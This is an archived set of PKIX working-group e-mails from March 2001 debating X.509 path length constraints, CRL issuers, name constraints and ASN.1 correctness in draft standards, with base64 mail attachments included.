References:  <[e-mail] t.com> <001e01c0a6d5$21f47e50$[e-mail]>
Date: Wed, 7 Mar 2001 10:56:33 -0500
To: "Anders Rundgren" <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: Re: Last Call: Son-of-2459 e-mail addresses in Subject
Cc: "PKIX-List" <[e-mail]>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 8:06 AM +0100 3/7/01, Anders Rundgren wrote:
>Just downloaded a new Thawte freemail certificate and found that they
>now also have fitted the Subject with the e-mail address.  I.e. they 
>now conform
>to the de-facto standard.  If 99% do not consider Son-of-2459 be the norm,
>it is 2459 that should change and not the world.
>
>In the OASIS-group which I participate they say that: "A standard is not
>a standard until deployed".
>
>Anders

Perhaps this is an indication that your freemail certificate is worth 
what you paid for it :-).

Steve


Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA29267 for <[e-mail]>; Wed, 7 Mar 2001 08:00:34 -0800 (PST)
Received: from [128.33.4.39] (comsec.bbn.com [128.33.4.39]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id KAA17132; Wed, 7 Mar 2001 10:59:50 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p05010400b6cc09aa2348@[128.33.4.39]>
In-Reply-To:  <[e-mail]>
References:  <[e-mail]>
Date: Wed, 7 Mar 2001 10:54:55 -0500
To: Ambarish Malpani <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: RE: Open Issue in Part1: path length constraints
Cc: [e-mail]
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Ambarish,

>Steve, we use the Indirect CRL/Indirect delta CRL format to
>propogate revocation information for particular CAs between
>our VAs (Validation Authorities).
>
>Basically, as master VA can receive information that a particular
>cert was revoked at a CA (even if the CA has not had time to
>issue a new CRL as yet). It can (and does) create a Indirect
>CRL with this information that it signs. The VA never acts
>as a CA - it never issues certs, but still needs to be
>responsible for creating and propogating revocation information
>to other VAs.
>
>While we use these indirect CRLs to propogate information just
>amongst VAs, it is not a stretch to seeing clients trust these
>indirect CRLs for their own purposes.
>
>Hope this helps justify why it does make sense for non-CAs to
>still issue CRLs.

I understand the mechanism you are employing, and I see nothing wrong 
with it. However, I don't think the notion of a "VA" is part of ITU 
or IETF standards. Therefore, your use of it in a closed system 
environment is outside the scope of these standards.

Steve


Received: from prv-mail20.provo.novell.com (prv-mail20.provo.novell.com [137.65.81.122]) by above.proper.com (8.9.3/8.9.3) with SMTP id HAA29120 for <[e-mail]>; Wed, 7 Mar 2001 07:59:17 -0800 (PST)
Received: from INET-PRV-Message_Server by prv-mail20.provo.novell.com with Novell_GroupWise; Wed, 07 Mar 2001 08:57:54 -0700
Message-Id: <[e-mail]>
X-Mailer: Novell GroupWise 5.5.5
Date: Wed, 07 Mar 2001 08:57:45 -0700
From: "Bob Jueneman" <[e-mail]>
To: <[e-mail]>
Cc: <[e-mail]>, <[e-mail]>
Subject: Re: X.509, PKIX, and pathLenConstraint
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=_3C67AD92.AECFFE9D"

This is a MIME message. If you are reading this text, you may want to 
consider changing to a mail reader or gateway that understands how to 
properly handle MIME multipart messages.

--=_3C67AD92.AECFFE9D
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

Steve, this may be "merely" a question of semantics, but let
me outline a user-driven scenario that may be of interest here.

Suppose that I am a hospital administrator operating a network
that allows doctors, nurses, etc., to access various resources
using their X.509 certificates.  And let's assume for now that
these certificates are issued by one of the public CAs, e.g.,
VeriSign, and not by say the state medical association.

As the hospital administrator, I am probably a lot more concerned
with whether the doctor in question currently has hospital privileges
than I am in whether that doctor's signature is legally binding,
and I am certainly in a much better position to be authoritative=20
about that issue than VeriSign is -- the fact that a doctor had=20
his medical license revoked would not be cause for VeriSign to=20
revoke his certificate.

I could, of course, set up a local database, and merely look up that=20
user's status, but although that works for access control, it doesn't=20
work nearly as well for say S/MIME.

So what I might like to do is to intercept all outgoing requests for=20
CRLs or OCSP, and send to my own local CRL or OCSP responder.
I would manage that by periodically checking the real CRL list,
but in addition I can revoke a certificate locally as I see fit.
All that I have to do is to ensure that my certificate is included in
the relying party software as a trusted root, or at least is chained to
a trusted root.

BTW, since the relationship is completely independent of the
CA that issued the certificates, there is nothing in the certificate
that would point to my CRL responder, not even a CRLDistributionPoint.

Now, am I a CA, or not? After all, I will never be issuing certificates,=20=

only CRLs.

My inclination would be to say that yes, I am, but what say you?
Does it really matter one way or the other?

Bob

Robert R. Jueneman
Security Architect

Novell, Inc -- the leading provider of Net services software



>>> Stephen Kent <[e-mail]> 03/06/01 04:16PM >>>
David,

To me, the text you cite (7.3) lends further credence to the notion=20
that a CA is the entity that signs CRLs. Only the CA that issued a=20
cert could sign a CRL revoking that cert, until v3 of X.509, where=20
the introduction of indirect CRLs and CRL DPs opened up new=20
possibilities. The fundamental question is whether these features=20
create a new class of entity that can sign CRLs but not be marked (in=20
its certificate) as a CA, or whether these facilities merely allow=20
one CA to delegate CRL signing to another CA, perhaps operated under=20
the same administrative jurisdiction.

Steve


--=_3C67AD92.AECFFE9D
Content-Type: text/x-vcard
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Bob Jueneman.vcf"

QkVHSU46VkNBUkQNClZFUlNJT046Mi4xDQpYLUdXVFlQRTpVU0VSDQpGTjpCb2IgSnVlbmVtYW4N
ClRFTDtXT1JLOjAxLTgwMS84NjEtNzM4Nw0KT1JHOk5vdmVsbCBJbmMuIC0tIHRoZSBsZWFkaW5n
IHByb3ZpZGVyIG9mIE5ldCBzZXJ2aWNlcyBzb2Z0d2FyZTtEUyBlQnVzaW5lc3MgU29sdXRpb25z
DQpURUw7UFJFRjtGQVg6MDEtODAxLzg2MS0yNTIyDQpFTUFJTDtXT1JLO1BSRUY7TkdXOkJKVUVO
RU1BTkBub3ZlbGwuY29tDQpOOkp1ZW5lbWFuO0JvYg0KVElUTEU6Q29uc3VsdGFudCBFbmdpbmVl
cg0KQURSO0lOVEw7V09SSztQQVJDRUw7UE9TVEFMOjs7Tm92ZWxsLCBJbmMuXG4xODAwIFNvdXRo
IE5vdmVsbCBQbGFjZVxuO1Byb3ZvO1V0YWg7ODQ2MDY7VVNBDQpMQUJFTDtJTlRMO1dPUks7UEFS
Q0VMO1BPU1RBTDtFTkNPRElORz1RVU9URUQtUFJJTlRBQkxFOkJvYiBKdWVuZW1hbj0wQT0NCk5v
dmVsbCwgSW5jLj0wQT0NCjE4MDAgU291dGggTm92ZWxsIFBsYWNlPTBBPQ0KPTBBPQ0KUHJvdm8s
IFV0YWggIDg0NjA2PTBBPQ0KVVNBDQpMQUJFTDtET007V09SSztQQVJDRUw7UE9TVEFMO0VOQ09E
SU5HPVFVT1RFRC1QUklOVEFCTEU6Qm9iIEp1ZW5lbWFuPTBBPQ0KTm92ZWxsLCBJbmMuPTBBPQ0K
MTgwMCBTb3V0aCBOb3ZlbGwgUGxhY2U9MEE9DQo9MEE9DQpQcm92bywgVXRhaCAgODQ2MDYNClgt
R1dVU0VSSUQ6QkpVRU5FTUFODQpFTkQ6VkNBUkQNCg0KQkVHSU46VkNBUkQNClZFUlNJT046Mi4x
DQpYLUdXVFlQRTpVU0VSDQpGTjpSb2JlcnQgUi4gSnVlbmVtYW4NClRFTDtXT1JLOjAxLTgwMS84
NjEtNzM4Nw0KT1JHOk5vdmVsbCwgSW5jLjtEUyBlQnVzaW5lc3MgU29sdXRpb25zDQpURUw7UFJF
RjtGQVg6MDEtODAxLzg2MS0yNTIyDQpFTUFJTDtXT1JLO1BSRUY7TkdXOkJKVUVORU1BTkBub3Zl
bGwuY29tDQpOOkp1ZW5lbWFuO0JvYg0KVElUTEU6Q29uc3VsdGFudCBFbmdpbmVlcg0KQURSO0lO
VEw7V09SSztQQVJDRUw7UE9TVEFMOjtQUlYtRjMzMTsxMjIgRS4gMTcwMCBTb3V0aDtQcm92bztV
dGFoOzg0NjA2O1VTQQ0KTEFCRUw7SU5UTDtXT1JLO1BBUkNFTDtQT1NUQUw7RU5DT0RJTkc9UVVP
VEVELVBSSU5UQUJMRTpSb2JlcnQgUi4gSnVlbmVtYW49MEE9DQpQUlYtRjMzMT0wQT0NCjEyMiBF
LiAxNzAwIFNvdXRoPTBBPQ0KUHJvdm8sIFV0YWggIDg0NjA2PTBBPQ0KVVNBDQpMQUJFTDtET007
V09SSztQQVJDRUw7UE9TVEFMO0VOQ09ESU5HPVFVT1RFRC1QUklOVEFCTEU6Um9iZXJ0IFIuIEp1
ZW5lbWFuPTBBPQ0KUFJWLUYzMzE9MEE9DQoxMjIgRS4gMTcwMCBTb3V0aD0wQT0NClByb3ZvLCBV
dGFoICA4NDYwNg0KVEVMO0hPTUU6MS04MDEtNzY1LTQzNzgNClRFTDtDRUxMOjEtODAxLTM2MS0x
NDEwDQpURUw7UFJFRjoxLTgwMS04NjEtNzM4NywgMS04MDAtNDUzLTEyNjcNClgtR1dVU0VSSUQ6
QkpVRU5FTUFODQpFTkQ6VkNBUkQNCg0K

--=_3C67AD92.AECFFE9D--


Received: from prv-mail20.provo.novell.com (prv-mail20.provo.novell.com [137.65.81.122]) by above.proper.com (8.9.3/8.9.3) with SMTP id HAA23832 for <[e-mail]>; Wed, 7 Mar 2001 07:25:36 -0800 (PST)
Received: from INET-PRV-Message_Server by prv-mail20.provo.novell.com with Novell_GroupWise; Wed, 07 Mar 2001 08:24:52 -0700
Message-Id: <[e-mail]>
X-Mailer: Novell GroupWise 5.5.5
Date: Wed, 07 Mar 2001 08:24:45 -0700
From: "Bob Jueneman" <[e-mail]>
To: <[e-mail]>, <[e-mail]>
Cc: <[e-mail]>
Subject: RE: WG Last Call: Son-of-2459
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id HAA23835

>Steve:
>
>->Anyway, since it is clear that not all folks will issue cross certs 
>as I suggested, I have to admit to liking the fallback position of 
>allowing specification of name constraints as part of the validation 
>procedure, on a per trust anchor basis. The main argument I've seen 
>is the one that questions whether this should be a user configurable 
>parameter, or an administrative parameter, or whether this is a MAY 
>(vs. SHOULD/MUST), which allows vendors to ignore the facility 
>entirely.
>
>I would strongly disagree against allowing name constraints to be a user
>configurable parameter.  This defeats the administrative value and assurance
>that name constraints provide.
>
>David B. Cross

David, I'm not sure that I understand your point.  Name constraints only 
constrain, they can't "unconstrain".  So if the user (or the MIS department)
can specify a name constraint as a configurable parameter, that can only
tighten the noose, not loosen it.

So how does this defeat the administrative value name constraints provide?
Maybe I'm missing something, but I've always liked the idea of the user 
acting as the root CA of last resort, since as the relying party it is the user,
and normally not some third-party CA, that has to make the decision as to 
whether or not to honor a digital signature and certificate chain.

I believe the same logic applies to policy OID constraints, by the way.

Bob





Received: from mclean.mail.mindspring.net (mclean.mail.mindspring.net [207.69.200.57]) by above.proper.com (8.9.3/8.9.3) with ESMTP id FAA15967; Wed, 7 Mar 2001 05:37:15 -0800 (PST)
Received: from asn-1.com (user-2ivf1pt.dialup.mindspring.com [165.247.135.61]) by mclean.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id IAA21670; Wed, 7 Mar 2001 08:37:04 -0500 (EST)
Message-ID: <[e-mail]>
Date: Wed, 07 Mar 2001 08:34:07 -0500
From: "Phillip H. Griffin" <[e-mail]>
Reply-To: [e-mail]
Organization: Griffin Consulting  
X-Mailer: Mozilla 4.61 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Carlisle Adams <[e-mail]>
CC: "'Paul Hoffman / IMC'" <[e-mail]>, [e-mail], "'[e-mail]'" <[e-mail]>
Subject: Re: I-D ACTION:draft-ietf-pkix-rfc2510bis-03.txt (and rfc2511bis-01.txt)
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

> Carlisle Adams wrote:
> 
> Hi Paul,
> 
>      ----------
>      From:   Paul Hoffman / IMC[SMTP:[e-mail]]
>      Sent:   Sunday, March 04, 2001 2:33 PM
>      To:     [e-mail]
>      Subject:        RE: I-D ACTION:draft-ietf-pkix-rfc2510bis-03.txt
>      (and rfc2511bis- 01.txt)
> 
>      At 2:31 PM -0500 3/2/01, Carlisle Adams wrote:
>      >If you (or anyone else reading this) would like to run the
>      modules
>      >through a syntax checker and give me a list of the necessary
>      >changes, I'd be happy to incorporate them.  My sense, however,
>      from
>      >what you've listed below, is that the changes required will be
>      >sufficiently minor that they can all be taken care of during the
> 
>      >last "48 HOURS NOTICE" editing cleanup window from the RFC
>      Editor.
>      >Therefore, I see no reason to hold up progression of either of
>      these
>      >documents.
> 
>      Carlisle: I take it from your comments that you don't think that
>      any
>      of Phil's suggestions need to be implemented because no one
>      tripped
>      over them. Is that correct? If so, it's fine that we don't make
>      the
>      changes, but that is *quite* different than changing them after
>      everyone has used the current code for testing.
> 
> 
> I guess I wasn't subtle enough...  :-)
> 
> Yes, that was essentially my underlying message.  I'm certainly happy
> to make changes if they need to be made in order for the code to
> compile (and I will humbly submit to your suggestion that this occur
> *before* submission to the RFC Editor), but I do wonder how serious
> this can be if no one has ever mentioned having a problem here before.

I rarely find the time to thoroughly test and
report on bust ASN.1 anymore. So I try to do so
only where correct ASN.1 is desired or mandated
by policy, say for ANSI X9 or JTC 1 standards.

For example, the recent  ISO/IEC 15945 | ITU-T 
X.843 Trusted Third Party standard relied on 
IETF CRMF and OCSP ASN.1, and both contained 
significant errors. I went through the ASN.1 
for the document text, and the ASN.1 modules, 
so that the standard could meet the ITU-T 
requirements for being published. Otherwise, 
publication of the work would have been
unnecessarily delayed.

But beyond this issue, folks with tools which 
correctly implement the ASN.1 standards can
not easily implement a specification which does
not conform to the ASN.1 standards. They must
first modify the published ASN.1 by hand. That 
is the case with this work.

Once everyone is doing a hand job on the code, 
the likelihood that they they will introduce 
errors rises, and the likelihood that they will 
all implement the same specification falls. The
amount of flux of course varies with who does the
modification and how much notation they must modify
to get the specification to work. 

Sometimes this isn't such a big deal. But it is 
never necessary to publish invalid ASN.1. There 
are free syntax checkers available. 

> The PKIX meeting is in exactly 2 weeks.  How about if I report at that
> meeting whether these drafts can be progressed as they are or whether
> yet-another-revision is required?
> 
>      Phil: do you have evidence that any ASN.1 compiler other than the
>      one
>      you listed has problems with the code as it stands now?


Just looking at the few minor glitches that I 
reported, I am absolutely certain that these 
pieces of ASN.1 do not conform to any version
of the ASN.1 standards. Therefore, I would feel
safe in claiming that this would not pass muster
using either of the two free syntax checkers that
X9 and JTC 1 rely upon. That's not to say that 
there are no tools that might accept this code.
Who knows?

Please understand that these errors are so easy to
detect that I did not rely on tools of any kind to
find them. They're basically common edit errors.
But little imperfections tend to matter to me 
anytime security work is involved. And if the goal
is to maximize the likelihood that different tools
from folks that have never cooperatively tested 
their code inter work, then ASN.1 errors do matter 
in the sense noted above.

> Unless I get concrete evidence that a "currently-employed" ASN.1
> compiler fails to compile this code, the drafts will remain
> unchanged.  (Phil may provide evidence for a compiler of his choosing
> if he wishes, but at least one set of corrections must come from one
> of the implementors that have been involved in the interop testing all
> this time.)  Does this seem fair enough?  After all, the implementors
> now have interoperable code; we shouldn't make them re-tinker all the
> way back to the ASN.1 compilation stage unless there is a good reason.

Do as you wish. No time for this myself right now.
But I would assert that having two implementations
of broken ASN.1 is not quite as good as having two
implementations of correct ASN.1. And the problems
of relying on bust ASN.1 really only begins to become
evident when N players, not working together or with
your test group, pick up the standard and attempt to 
implement the work with compliant tools. These are
the folks that are likely to be disadvantaged or to
get it wrong. They may not have the advantage of
collaboration.

Free tools are available for syntax checking whether
this is part of your quality process or not. I wish it
were. A lot of standards bodies I work with wish to 
rely on IETF standards in their work, and frequently
can not do so without first making corrections to the 
published ASN.1. 

If I had the time I'd check this for you. But I'm out
of the country for the next two weeks.

Phil
----
Phillip H. Griffin    Griffin Consulting
http://asn-1.com      Secure ASN.1 Design & Implementation
p:  [phone]   1625 Glenwood Avenue
f:  [phone]   Hayes Barton at Five Points
e:  [e-mail]    Raleigh, North Carolina 27608-2319 USA
------------------------------------------------------------



Received: from edelweb.fr (edelweb.fr [212.234.46.16]) by above.proper.com (8.9.3/8.9.3) with ESMTP id DAA03151 for <[e-mail]>; Wed, 7 Mar 2001 03:10:00 -0800 (PST)
Received: from champagne.edelweb.fr (localhost.edelweb.fr [127.0.0.1]) by edelweb.fr with ESMTP id MAA12065 for <[e-mail]>; Wed, 7 Mar 2001 12:09:59 +0100 (MET)
Received: from champagne.edelweb.fr (champagne.edelweb.fr [193.51.14.161]) by edelweb.fr (nospam/1.3); Wed, 7 Mar 2001 12:09:59 +0100 (MET)
Received: from emeriau.edelweb.fr (emeriau.edelweb.fr [193.51.14.5]) by champagne.edelweb.fr (8.7.6/8.6.6) with ESMTP id MAA02862 for <[e-mail]>; Wed, 7 Mar 2001 12:09:58 +0100 (MET)
From: Peter Sylvester <[e-mail]>
Received: (sylvest@localhost) by emeriau.edelweb.fr (8.7.6/8.6.6) id MAA06556 for [e-mail]; Wed, 7 Mar 2001 12:09:57 +0100 (MET)
Date: Wed, 7 Mar 2001 12:09:57 +0100 (MET)
Message-Id: <[e-mail]>
To: [e-mail]
Subject: Re: WG Last Call: Son-of-2459

I think that I am in full support of Steve Hanna's point of
view about implementing path constraints just by using
"cross" certificats. 

If an administrator need to configure in a static way
the input constraints, then it seems sufficient to
me to do this via a standard method, i.e. by providing
a certificate. 
 
Denis wrote:

> I am a little bit puzzled with your suggestion. Usually a given application
> trusts an anchor to isssue names for some organizations. But another
> application may chooose to apply different rules. So this is not a pure
> decision from the CA, otherwise the application would have to evaluate these
> name constraints before accepting them. 

If the other application has different rules, then this is not the same
'trust anchor'. Or, the restriction of names inposed to some 'anchor' 
(if this is statique for the application)
can be expressed easily as a cross certificate 'against' that 'anchor'. 

> So I have difficulties to see how the original name contraints could be
> handled by using the cross certificates you mention. Whatever, this seems to
> be only a suggestion. :-)

This doesn't sound like a suggestion, it seems to me rather
a description of what can be done with the existing mechanisms.

Regards
Peter






Received: from maila.telia.com (maila.telia.com [194.22.194.231]) by above.proper.com (8.9.3/8.9.3) with ESMTP id XAA29362 for <[e-mail]>; Tue, 6 Mar 2001 23:08:11 -0800 (PST)
Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241]) by maila.telia.com (8.9.3/8.9.3) with ESMTP id IAA15947 for <[e-mail]>; Wed, 7 Mar 2001 08:08:14 +0100 (CET)
Received: from mega (t6o69p98.telia.com [213.64.110.218]) by d1o69.telia.com (8.10.2/8.10.1) with SMTP id f2778Da13144; Wed, 7 Mar 2001 08:08:13 +0100 (CET)
Message-ID: <001e01c0a6d5$21f47e50$[e-mail]>
From: "Anders Rundgren" <[e-mail]>
To: "PKIX-List" <[e-mail]>
Cc: <[e-mail]>
References: <[e-mail]>
Subject: Last Call: Son-of-2459 e-mail addresses in Subject
Date: Wed, 7 Mar 2001 08:06:27 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id XAA29368

Just downloaded a new Thawte freemail certificate and found that they
now also have fitted the Subject with the e-mail address.  I.e. they now conform
to the de-facto standard.  If 99% do not consider Son-of-2459 be the norm,
it is 2459 that should change and not the world.

In the OASIS-group which I participate they say that: "A standard is not
a standard until deployed".

Anders



Received: from mx02.melco.co.jp (mx01.melco.co.jp [192.218.140.41]) by above.proper.com (8.9.3/8.9.3) with ESMTP id UAA23337 for <[e-mail]>; Tue, 6 Mar 2001 20:29:24 -0800 (PST)
Received: by mx02.melco.co.jp (mx02) id NAA08953; Wed, 7 Mar 2001 13:29:21 +0900 (JST)
Received: by mr03.melco.co.jp (mr03) id NAA10332; Wed, 7 Mar 2001 13:29:21 +0900 (JST)
Received: from islgw.isl.melco.co.jp by elgw.isl.melco.co.jp (8.8.8/3.6W) id NAA16505; Wed, 7 Mar 2001 13:29:20 +0900 (JST)
Received: from iss.isl.melco.co.jp by islgw.isl.melco.co.jp (8.8.8/3.6W) id NAA24280; Wed, 7 Mar 2001 13:29:19 +0900 (JST)
Received: from belize by iss.isl.melco.co.jp (8.8.8/3.6W) id NAA17837; Wed, 7 Mar 2001 13:29:19 +0900 (JST)
Message-ID: <026501c0a6bf$a58adf40$[e-mail]>
From: "Hiroyuki Sakakibara" <[e-mail]>
To: <[e-mail]>
Subject: Re: Open Issue in Part1: path length constraints, RE: X.509, PKIX, and pathLenConstraint
Date: Wed, 7 Mar 2001 13:32:40 +0900
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300

Hi

The path validation algoritm, acctually,
does not check value in basicConstraints in the end cert,
whether it viorates calculated max_path_length or not.

I think that one solution is checking basicConstraints component value
in the end cert with calculated max_path_length value
outside "path validation" logic.

Because some application software always validate end-entity
certs only,
so may know that an end-entity cert(the end cert in a path) always
has cA=FALSE (or basicConstraints extension is absent).

This is not general case, but may be typical in implementing application
softs.

I think that many softwares would check keyUsage value in a end-cert in
similar way.
For example, in some secure e-mail systems,
a software would accepts only a cert with keyUsage with digitalSignature bit
on
for verifying a signature of a e-mail message.

I think that certification a path validation phase and
checking contents of the end cert
( except items which can be validated by the path validation algorithm
automatically) phase are different.

Sharon Boeyen>In the path validation process, from a path length constraints
standpoint it
Sharon Boeyen>should make no difference what the final cert is used for, nor
does it matter
Sharon Boeyen>what type of data was signed with the certified key. The
constraint on the
Sharon Boeyen>path is still the same. The final cert and the one containing
the constraint do
Sharon Boeyen>not count against the constraint. Is that point agreed? I want
to separate
Sharon Boeyen>these so I'll know if the DR is ok to progress.

---------------------------------------
Hiroyuki Sakakibara
MITSUBISHI ELECTRIC CORPORATION
Information Technology R&D Center
5-1-1 Ofuna, Kamakura, Kanagawa, Japan
PHONE: [phone]
FAX:   [phone]
E-mail : [e-mail]




Received: from pae-main.securify.com (vg-2.securify.com [207.5.63.2]) by above.proper.com (8.9.3/8.9.3) with ESMTP id SAA20688 for <[e-mail]>; Tue, 6 Mar 2001 18:01:18 -0800 (PST)
Received: from securify.com (dude.securify.com [10.5.63.6]) by pae-main.securify.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id GD846RJ3; Tue, 6 Mar 2001 18:00:51 -0800
Message-ID: <[e-mail]>
Date: Tue, 06 Mar 2001 20:48:48 -0500
From: David Simonetti <[e-mail]>
X-Mailer: Mozilla 4.75 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "David A. Cooper" <[e-mail]>
CC: PKIX <[e-mail]>
Subject: Re: X.509, PKIX, and pathLenConstraint
References: <[e-mail]> <[e-mail]> <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

David,

You and Sharon make a good point:

"David A. Cooper" wrote:

> David,
>
> I think I'm starting to see where the problem lies. I disagree with you belief that including pathLenConstraint=0 means that "CA1 does not want CA2 to further issue CA certs". I believe that CA1 is only making a statement about which certificates it wishes its own relying parties to validate.

With this perspective, the only way that CA1 can constrain CA2 is by policy.  Thus, it should be technically feasible for CA2 to issue CA3 a certificate, where CA1 may rely upon CA3 for the purposes of issuing CRLs, but not issuing certificates.  In this way, CA3 is treated like any entity that CA2 may assign the function of issuing CRLs (or, acting as any other EE, signing any data object other than a certificate).

To achieve this, as Tim previously noted, 6.1.5 currently supports this through omission.  However, to 4.2.1.10, I suggest the addition of "intermediate", and I believe the note merits elevation to in-line text as follows:

"The pathLenConstraint field is meaningful only if cA is set to TRUE. In this case, it gives the maximum number of *intermediate* CA certificates that may follow this certificate in a certification path. One end-entity certificate will follow the final CA certificate in the path. The last certificate in a path is considered an end-entity certificate, whether the subject of the certificate is a CA or not."

Thoughts?

--
David Simonetti
Securify (www.securify.com), 410-356-2260




Received: from DF-INET-1.dogfoodinternet.com (df-inet1.exchange.microsoft.com [131.107.8.8]) by above.proper.com (8.9.3/8.9.3) with ESMTP id RAA19324 for <[e-mail]>; Tue, 6 Mar 2001 17:02:36 -0800 (PST)
Received: from df-virus2.platinum.corp.microsoft.com ([172.30.236.33]) by DF-INET-1.dogfoodinternet.com with Microsoft SMTPSVC(5.0.2195.2831); Tue, 6 Mar 2001 16:54:52 -0800
Received: from 172.30.236.11 by df-virus2.platinum.corp.microsoft.com (InterScan E-Mail VirusWall NT); Tue, 06 Mar 2001 16:54:49 -0800 (Pacific Standard Time)
Received: from speak.platinum.corp.microsoft.com ([172.30.236.197]) by yuri.dns.microsoft.com with Microsoft SMTPSVC(5.0.2195.2831); Tue, 6 Mar 2001 16:54:48 -0800
X-MimeOLE: Produced By Microsoft Exchange V6.0.4658.0
MIME-Version: 1.0
Content-Type: application/pkcs7-mime;smime-type=signed-data;name=smime.p7m; name="smime.p7m"; smime-type=signed-data
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7m"
content-class: urn:content-classes:message
Subject: RE: WG Last Call: Son-of-2459
Date: Tue, 6 Mar 2001 16:54:48 -0800
Message-ID: <[e-mail]>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: WG Last Call: Son-of-2459
Thread-Index: AcCmj5WxrCk62Y3UTmWobO/tVYmg+AAD23OA
From: "Trevor Freeman" <[e-mail]>
To: "Stephen Kent" <[e-mail]>
Cc: <[e-mail]>
X-OriginalArrivalTime: 07 Mar 2001 00:54:48.0849 (UTC) FILETIME=[35C60810:01C0A6A1]

MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAaCAJIAEgg6CQ29u
dGVudC1UeXBlOiB0ZXh0L3BsYWluOw0KCWNoYXJzZXQ9Imlzby04ODU5LTEiDQpDb250ZW50LVRy
YW5zZmVyLUVuY29kaW5nOiA3Yml0DQoNClN0ZXZlLA0KSSBhbSBub3QgYXNzdW1pbmcgYW55dGhp
bmcgcmVnYXJkcyB0cnVzdCBoaWVyYXJjaHkuIEkgYWxzbyBiZWxpZXZlIHRoYXQNCmJpbGF0ZXJh
bCBjcm9zcyBjZXJ0aWZpY2F0aW9uIHdpbGwgYmUgdGhlIG5leHQgcGhhc2UgdG8gZGVwbG95LCBz
byB3ZQ0KYXJlIGluIGNvbXBsZXRlIGFncmVlbWVudCB0aGF0IHZpc2lvbiB0aGF0IG9yZ2FuaXNh
dGlvbmFsIENBcyBwcm90ZWN0aW5nDQpyZXNvdXJjZXMgd291bGQgYmUgaXNzdWluZyBjcm9zcyBj
ZXJ0cyB3aXRoIG5hbWUgY29uc3RyYWludHMuIElmIGZhY3QgSQ0Kc2VlIHRoaXMgYXMgYSBkaW1l
bnNpb24gb2YgdGhlIG9wZXJhdGlvbmFsIHJlcXVpcmVtZW50IG5vdCBjb25zaWRlcmVkIGJ5DQp0
aGUgYnJpZGdlIENBIG1vZGVsLiBJIGVudmlzYWdlIGEgc21hbGwgbnVtYmVyIG9mIENBcyBpc3N1
aW5nIGNlcnRzIHRvDQp1c2VyLCBidXQgSSB3aWxsIGhhdmUgYSBsYXJnZXIgbnVtYmVyIG9mIENB
cyBpc3N1aW5nIHRoZSBjcm9zcw0KY2VydGlmaWNhdGVzLiBJIHNlZSB0aGF0IG1vZGVsIGJlY2F1
c2Ugb3JnYW5pc2F0aW9ucyB0eXBpY2FsbHkgaGF2ZSBhDQp2ZXJ5IGNsZWFyIGxpbmUgdG8gd2hv
IGhhcyBhdXRob3JpdHkgb2YgdGhlIGlkZW50aXR5ICh0eXBpY2FsbHkgdGhlIEhSDQpkZXBhcnRt
ZW50KS4gSSBzZWUgdGhlIGFjY2VzcyB0byByZXNvdXJjZXMgY29udHJvbGxlZCBpbiBtYW55IHBh
cnRzIG9mDQp0aGUgb3JnYW5pc2F0aW9uIGFzIGVhY2ggcGFydCBoYXMgaXRzIG93biB0cnVzdCBy
ZWxhdGlvbnNoaXBzLiBMYXJnZQ0Kb3JnYW5pc2F0aW9ucyBkbyBub3QgaGF2ZSBhIGhvbW9nZW5l
b3VzIHRydXN0IG1vZGVsLiBFYWNoIGJ1c2luZXNzIHVuaXQNCndhbnRzIHRvIG1ha2UgYWxsaWFu
Y2VzIGZvciBpdHNlbGYuDQpPbmUgdGhlIHN1YmplY3Qgb2YgYWRtaW5pc3RyYXRpdmUgY29uZmln
dXJhdGlvbiAtIEkgYW0gYmVnaW5uaW5nIHRvIHNlZQ0KYSByZWFsaXNhdGlvbiBieSBjdXN0b21l
cnMgdGhhdCBydW5uaW5nIGEgQ0EgaXMgcG90ZW50aWFsbHkgYSBkaWZmZXJlbnQNCmRpcmVjdGlv
biB0byB0aGUgYWRtaW5pc3RyYXRpb24gb2YgcmVzb3VyY2VzIC0gc28gSSBzZWUgaXQgYXMgYQ0K
cmVhbGlzdGljIHNvbHV0aW9uLCB0aGF0IGlmIHlvdSB3YW50IHRoYXQga2luZCBvZiBjb250cm9s
IC0gcnVuIGEgQ0EuIEF0DQp0aGUgd29yc3QgLSB5b3UgaWYgeW91IHJ1biB5b3VyIG93biBDQSB0
byBjb250cm9sIGFjY2VzcyB0byByZXNvdXJjZXMsDQp5b3Ugd2lsbCBnZXQgdGhlIHNhbWUgbGV2
